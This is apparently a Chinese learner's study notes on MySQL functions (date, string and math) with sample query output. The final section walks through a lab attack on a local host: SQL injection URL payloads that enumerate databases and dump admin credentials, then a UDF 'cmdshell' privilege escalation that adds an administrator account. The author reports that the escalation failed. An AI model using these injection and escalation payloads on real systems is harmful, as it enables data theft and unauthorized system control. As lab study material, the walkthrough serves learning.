99

0x00 前言

小白成长计划第四周任务,学习mysql数据库函数

0x01 数据库函数

DATE_ADD() 函数向日期添加指定的时间间隔。
DATE_SUB() 函数从日期减去指定的时间间隔。
DATEDIFF() 函数返回两个日期之间的天数。
DATE_FORMAT() 函数用于以不同的格式显示日期/时间数据。
NOW() 返回当前的日期和时间。
CURDATE() 返回当前的日期。
CURTIME() 返回当前的时间。
DATE() 函数提取日期或日期/时间表达式的日期部分。
EXTRACT() 函数用于返回日期/时间的单独部分,比如年、月、日、小时、分钟等等。
now(), current_timestamp();     -- 当前日期时间
current_date(); -- 当前日期
current_time(); -- 当前时间
date('yyyy-mm-dd hh:ii:ss'); -- 获取日期部分
time('yyyy-mm-dd hh:ii:ss'); -- 获取时间部分
date_format('yyyy-mm-dd hh:ii:ss', '%d %y %a %d %m %b %j'); -- 格式化时间
unix_timestamp(); -- 获得unix时间戳
from_unixtime(); -- 从时间戳获得时间
  • 查看当前时间
mysql> select now(),current_date,current_time;
+---------------------+--------------+--------------+
| now() | current_date | current_time |
+---------------------+--------------+--------------+
| 2019-09-01 00:47:17 | 2019-09-01 | 00:47:17 |
+---------------------+--------------+--------------+
1 row in set (0.00 sec)


mysql> select date_sub(curdate(),interval 0 day);
+------------------------------------+
| date_sub(curdate(),interval 0 day) |
+------------------------------------+
| 2019-09-01 |
+------------------------------------+
1 row in set (0.00 sec)
  • 查看明天日期
mysql> select date_sub(curdate(),interval-1 day);
+------------------------------------+
| date_sub(curdate(),interval-1 day) |
+------------------------------------+
| 2019-09-02 |
+------------------------------------+
1 row in set (0.00 sec)
  • 查看昨天日期
mysql> select adddate(now(),-1);
+---------------------+
| adddate(now(),-1) |
+---------------------+
| 2019-08-31 00:53:48 |
+---------------------+
1 row in set (0.00 sec)

mysql> select date_sub(now(),interval 1 day);
+--------------------------------+
| date_sub(now(),interval 1 day) |
+--------------------------------+
| 2019-08-31 00:54:11 |
+--------------------------------+
1 row in set (0.00 sec)
  • 前一个小时时间
mysql> select date_sub(now(),interval 1 hour);
+---------------------------------+
| date_sub(now(),interval 1 hour) |
+---------------------------------+
| 2019-08-31 23:54:52 |
+---------------------------------+
1 row in set (0.00 sec)
  • 后一个小时时间
mysql> select date_sub(now(),interval -1 hour);
+----------------------------------+
| date_sub(now(),interval -1 hour) |
+----------------------------------+
| 2019-09-01 01:55:34 |
+----------------------------------+
1 row in set (0.00 sec)
  • 查看前后半小时时间
**mysql> select date_add(now(),interval -30 minute);
+-------------------------------------+
| date_add(now(),interval -30 minute) |
+-------------------------------------+
| 2019-09-01 00:26:02 |
+-------------------------------------+
1 row in set (0.00 sec)

mysql> select date_add(now(),interval 30 minute);
+------------------------------------+
| date_add(now(),interval 30 minute) |
+------------------------------------+
| 2019-09-01 01:26:07 |
+------------------------------------+
1 row in set (0.00 sec)**
  • 根据format字符串格式化date值

%S, %s 两位数字形式的秒( 00,01, ..., 59)
%I, %i 两位数字形式的分( 00,01, ..., 59)
%H 两位数字形式的小时,24 小时(00,01, ..., 23)
%h 两位数字形式的小时,12 小时(01,02, ..., 12)
%k 数字形式的小时,24 小时(0,1, ..., 23)
%l 数字形式的小时,12 小时(1, 2, ..., 12)
%T 24 小时的时间形式(hh:mm:ss)
%r 12 小时的时间形式(hh:mm:ss AM 或hh:mm:ss PM)
%p AM或PM
%W 一周中每一天的名称(Sunday, Monday, ..., Saturday)
%a 一周中每一天名称的缩写(Sun, Mon, ..., Sat)
%d 两位数字表示月中的天数(00, 01,..., 31)
%e 数字形式表示月中的天数(1, 2, ..., 31)
%D 英文后缀表示月中的天数(1st, 2nd, 3rd,...)
%w 以数字形式表示周中的天数( 0 = Sunday, 1=Monday, ..., 6=Saturday)
%j 以三位数字表示年中的天数( 001, 002, ..., 366)
%U 周(0, 1, 52),其中Sunday 为周中的第一天
%u 周(0, 1, 52),其中Monday 为周中的第一天
%M 月名(January, February, ..., December)
%b 缩写的月名( January, February,...., December)
%m 两位数字表示的月份(01, 02, ..., 12)
%c 数字表示的月份(1, 2, ...., 12)
%Y 四位数字表示的年份
%y 两位数字表示的年份
%% 直接值“%”
  • 使用date_format()函数显示不同格式
mysql> select date_format(now(), '%b %d %Y %h:%i %p');
+-----------------------------------------+
| date_format(now(), '%b %d %Y %h:%i %p') |
+-----------------------------------------+
| Sep 01 2019 01:01 AM |
+-----------------------------------------+
1 row in set (0.00 sec)


mysql> select date_format(now(), '%m-%d-%Y');
+--------------------------------+
| date_format(now(), '%m-%d-%Y') |
+--------------------------------+
| 09-01-2019 |
+--------------------------------+
1 row in set (0.00 sec)


mysql> select date_format(now(), '%d %b %y');
+--------------------------------+
| date_format(now(), '%d %b %y') |
+--------------------------------+
| 01 Sep 19 |
+--------------------------------+
1 row in set (0.00 sec)


mysql> select DATE_FORMAT(NOW(),'%d %b %Y %T:%f');
+-------------------------------------+
| DATE_FORMAT(NOW(),'%d %b %Y %T:%f') |
+-------------------------------------+
| 01 Sep 2019 01:03:10:000000 |
+-------------------------------------+
1 row in set (0.00 sec)
  • 返回当前的时间。
mysql> select curtime();
+-----------+
| curtime() |
+-----------+
| 01:06:34 |
+-----------+
1 row in set (0.00 sec)
  • 返回当前年月日
mysql> select curdate();
+------------+
| curdate() |
+------------+
| 2019-09-01 |
+------------+
1 row in set (0.00 sec)

Mysql字符串连接函数

CONCAT(str1,str2,…)

mysql> select concat('time');
+----------------+
| concat('time') |
+----------------+
| time |
+----------------+
1 row in set (0.00 sec)

mysql> select concat('10');
+--------------+
| concat('10') |
+--------------+
| 10 |
+--------------+
1 row in set (0.00 sec)
  • 连接字符串
mysql> select concat('10','time');
+---------------------+
| concat('10','time') |
+---------------------+
| 10time |
+---------------------+
1 row in set (0.00 sec)
  • 连接字符串如果其中一个是null,返回结果为null
mysql> select concat('10','time',null);
+--------------------------+
| concat('10','time',null) |
+--------------------------+
| NULL |
+--------------------------+
1 row in set (0.00 sec)

CONCAT_WS(separator,str1,str2,…)

  • separator参数作为分隔符

    mysql> select concat_ws('|','time','time');
    +------------------------------+
    | concat_ws('|','time','time') |
    +------------------------------+
    | time|time |
    +------------------------------+
    1 row in set (0.00 sec)
  • 其中一个参数为null,则忽略,输出其他字符串

mysql> select concat_ws('|','time','time',null);
+-----------------------------------+
| concat_ws('|','time','time',null) |
+-----------------------------------+
| time|time |
+-----------------------------------+
1 row in set (0.00 sec)
  • group_concat 函数

根据查询的字段值相同,则拼接

mysql> select * from ceshi ;
+----+------+
| id | name |
+----+------+
| 1 | 20 |
| 2 | 30 |
| 1 | 30 |
| 2 | 30 |
+----+------+
4 rows in set (0.00 sec)

mysql> select id,group_concat(name) from ceshi group by id;
+----+--------------------+
| id | group_concat(name) |
+----+--------------------+
| 1 | 20,30 |
| 2 | 30,30 |
+----+--------------------+
2 rows in set (0.00 sec)
  • 以name分组,把title字段的值打印在一行,逗号分隔

    mysql> select name,group_concat(title) from mag group by name;
    +-----------+---------------------------------+
    | name | group_concat(title) |
    +-----------+---------------------------------+
    | tim1e | 20 |
    | Time | 学习php,学习代码审计,10 |
    | 流云枫 | 幻想 |
    +-----------+---------------------------------+
    3 rows in set (0.00 sec)
  • 以name分组,把title字段的值打印在一行,分号分隔

    mysql> select name,group_concat(title separator ';') from mag group by name;
    +-----------+-----------------------------------+
    | name | group_concat(title separator ';') |
    +-----------+-----------------------------------+
    | tim1e | 20 |
    | Time | 学习php;学习代码审计;10 |
    | 流云枫 | 幻想 |
    +-----------+-----------------------------------+
    3 rows in set (0.00 sec)
  • 以id分组,把去冗余的name字段的值打印在一行,逗号分隔

mysql> select * from ceshi ;
+----+------+
| id | name |
+----+------+
| 1 | 20 |
| 2 | 30 |
| 1 | 30 |
| 2 | 30 |
+----+------+
4 rows in set (0.00 sec)

mysql> select id,group_concat(distinct name) from ceshi group by id;
+----+-----------------------------+
| id | group_concat(distinct name) |
+----+-----------------------------+
| 1 | 20,30 |
| 2 | 30 |
+----+-----------------------------+
2 rows in set (0.00 sec)
  • 以id分组,把name字段的值打印在一行,逗号分隔,以name排倒序
mysql> select id,group_concat(name order by name desc) from ceshi group by id;
+----+---------------------------------------+
| id | group_concat(name order by name desc) |
+----+---------------------------------------+
| 1 | 30,20 |
| 2 | 30,30 |
+----+---------------------------------------+
2 rows in set (0.00 sec)

repeat()函数复制字符串

  • 如下’time’表示要复制的字符串,2表示复制的份数
mysql> select repeat('time',2);
+------------------+
| repeat('time',2) |
+------------------+
| timetime |
+------------------+
1 row in set (0.00 sec)

Mysql字符串截取substring()函数

  • 从左开始截取字符串
    left(str,length),截取字符串三位字符

    mysql> select left('Time',3) from mag;
    +----------------+
    | left('Time',3) |
    +----------------+
    | Tim |
    | Tim |
    | Tim |
    | Tim |
    | Tim |
    +----------------+
    5 rows in set (0.00 sec)

    mysql> select left('Time',3) from mag where id=3;
    +----------------+
    | left('Time',3) |
    +----------------+
    | Tim |
    +----------------+
    1 row in set (0.00 sec)
  • 从右开始截取字符串
    right(str,length)

    mysql> select right('time',2) from mag where id=1;
    +-----------------+
    | right('time',2) |
    +-----------------+
    | me |
    +-----------------+
    1 row in set (0.00 sec)
  • substring截取字符串

mysql> select substring('time', 2,2) from mag where id=1;
+------------------------+
| substring('time', 2,2) |
+------------------------+
| im |
+------------------------+
1 row in set (0.00 sec)
  • substring_index根据关键字截取字符串
mysql> select substring_index('timeshu.github.io','.',1) from mag where id=5;
+--------------------------------------------+
| substring_index('timeshu.github.io','.',1) |
+--------------------------------------------+
| timeshu |
+--------------------------------------------+
1 row in set (0.00 sec)

Mysql数学函数

  • format(x,y) 函数,功能是将一个数字x,保留y位小数,并且整数部分用逗号分隔千分位,小数部分进行四舍五入。
mysql> select format(123456.78935,4);
+------------------------+
| format(123456.78935,4) |
+------------------------+
| 123,456.7894 |
+------------------------+
1 row in set (0.00 sec)

– 注意:一旦你的数据经过千分位分隔后,就会变成字符串。能够给阅读上提供比较好的体验,但是在计算上却造成很大的困扰,所以如果只是保留小数,不建议使用这个函数。

  • abs(); 求一个数的绝对值;absolute
mysql> select abs(10),abs(-10);
+---------+----------+
| abs(10) | abs(-10) |
+---------+----------+
| 10 | 10 |
+---------+----------+
1 row in set (0.00 sec)
  • sqrt(); 求一个数的平方根。sqrt是sqruar(平方,矩形) ,root(根)的缩写。
mysql> select sqrt(8);
+--------------------+
| sqrt(8) |
+--------------------+
| 2.8284271247461903 |
+--------------------+
1 row in set (0.00 sec)

mysql> select sqrt(9);
+---------+
| sqrt(9) |
+---------+
| 3 |
+---------+
1 row in set (0.00 sec)
  • mod(x,y) x除数,y被除数。结果是余数。
mysql> select mod(10,3);
+-----------+
| mod(10,3) |
+-----------+
| 1 |
+-----------+
1 row in set (0.00 sec)
  • ceil() 进一取整。
mysql> select ceil(2.5);
+-----------+
| ceil(2.5) |
+-----------+
| 3 |
+-----------+
1 row in set (0.00 sec)
  • floor()舍一取整
mysql> select floor(2.5);
+------------+
| floor(2.5) |
+------------+
| 2 |
+------------+
1 row in set (0.00 sec)
  • rand() 顾名思义,是用来生成随机数用的。

    mysql> select rand(),rand();
    +--------------------+--------------------+
    | rand() | rand() |
    +--------------------+--------------------+
    | 0.7384466898985642 | 0.5636652219702166 |
    +--------------------+--------------------+
    1 row in set (0.00 sec)
  • format 会自动进行千分位,下面我们来看看round函数,进行四舍五入。

mysql> select format(1234.23135,4);
+----------------------+
| format(1234.23135,4) |
+----------------------+
| 1,234.2314 |
+----------------------+
1 row in set (0.00 sec)

mysql> select format(1234.23134,4);
+----------------------+
| format(1234.23134,4) |
+----------------------+
| 1,234.2313 |
+----------------------+
1 row in set (0.00 sec)
  • truncate(x,y) 比较霸道,不管四舍五入,直接把x,的y位小数直接干掉。
mysql> select truncate(3.14151,3);
+---------------------+
| truncate(3.14151,3) |
+---------------------+
| 3.141 |
+---------------------+
1 row in set (0.00 sec)

mysql> select truncate(3.14151,4);
+---------------------+
| truncate(3.14151,4) |
+---------------------+
| 3.1415 |
+---------------------+
1 row in set (0.00 sec)
  • sign() 返回当前结果得符号,如果是负数返回-1,如果是0 返回0 如果是正数,返回1.
mysql> select sign(-3),sign(2),sign(0);
+----------+---------+---------+
| sign(-3) | sign(2) | sign(0) |
+----------+---------+---------+
| -1 | 1 | 0 |
+----------+---------+---------+
1 row in set (0.00 sec)
  • power() 幂运算
mysql> select power(3,2),power(3,3);
+------------+------------+
| power(3,2) | power(3,3) |
+------------+------------+
| 9 | 27 |
+------------+------------+
1 row in set (0.00 sec)

实战mysql注入获取系统权限

环境:ubuntu+nginx+php

判断注入点

http://192.168.1.101/index.php?id=time' and 1=1 %23
http://192.168.1.101/index.php?id=time' and 1=2 %23

判断有多少个字段

http://192.168.1.101/index.php?id=time' order by 2%23

联合查询存在注入字段

http://192.168.1.101/index.php?id=time' union select 1,2%23

爆数据库版本和数据库用户

http://192.168.1.101/index.php?id=time' union select version(),user()%23

当前数据库test

http://192.168.1.101/index.php?id=time' union select version(),database()%23

根据information库查询所有内容

查询所有库

http://192.168.1.101/index.php?id=time' union select 1,schema_name from information_schema.schemata%23

查询test库下的所有表

http://192.168.1.101/index.php?id=time' union select 1,table_name from information_schema.tables where table_schema='test'%23

查询admin表下所有字段

http://192.168.1.101/index.php?id=time' union select 1,column_name from information_schema.columns where table_name=0x61646D696E%23

查询字段中所有内容

http://192.168.1.101/index.php?id=time' union select id,username from admin %23

实战mysql数据库UTD提权

登录数据库,将udf.dll导出到mysql下的lib/plugin目录下

create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user waitalone waitalone.cn /add');
select cmdshell('net localgroup administrators waitalone /add');
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell' 删除函数

上面的添加命令失败了,执行文件中自带的命令
创建一个shell表,执行系统命令

添加账号密码

好吧失败了,在虚拟机里面测试了一下也失败了。。
image.png

虚拟机的权限设置过,不过使用这种方法也可以执行系统命令了。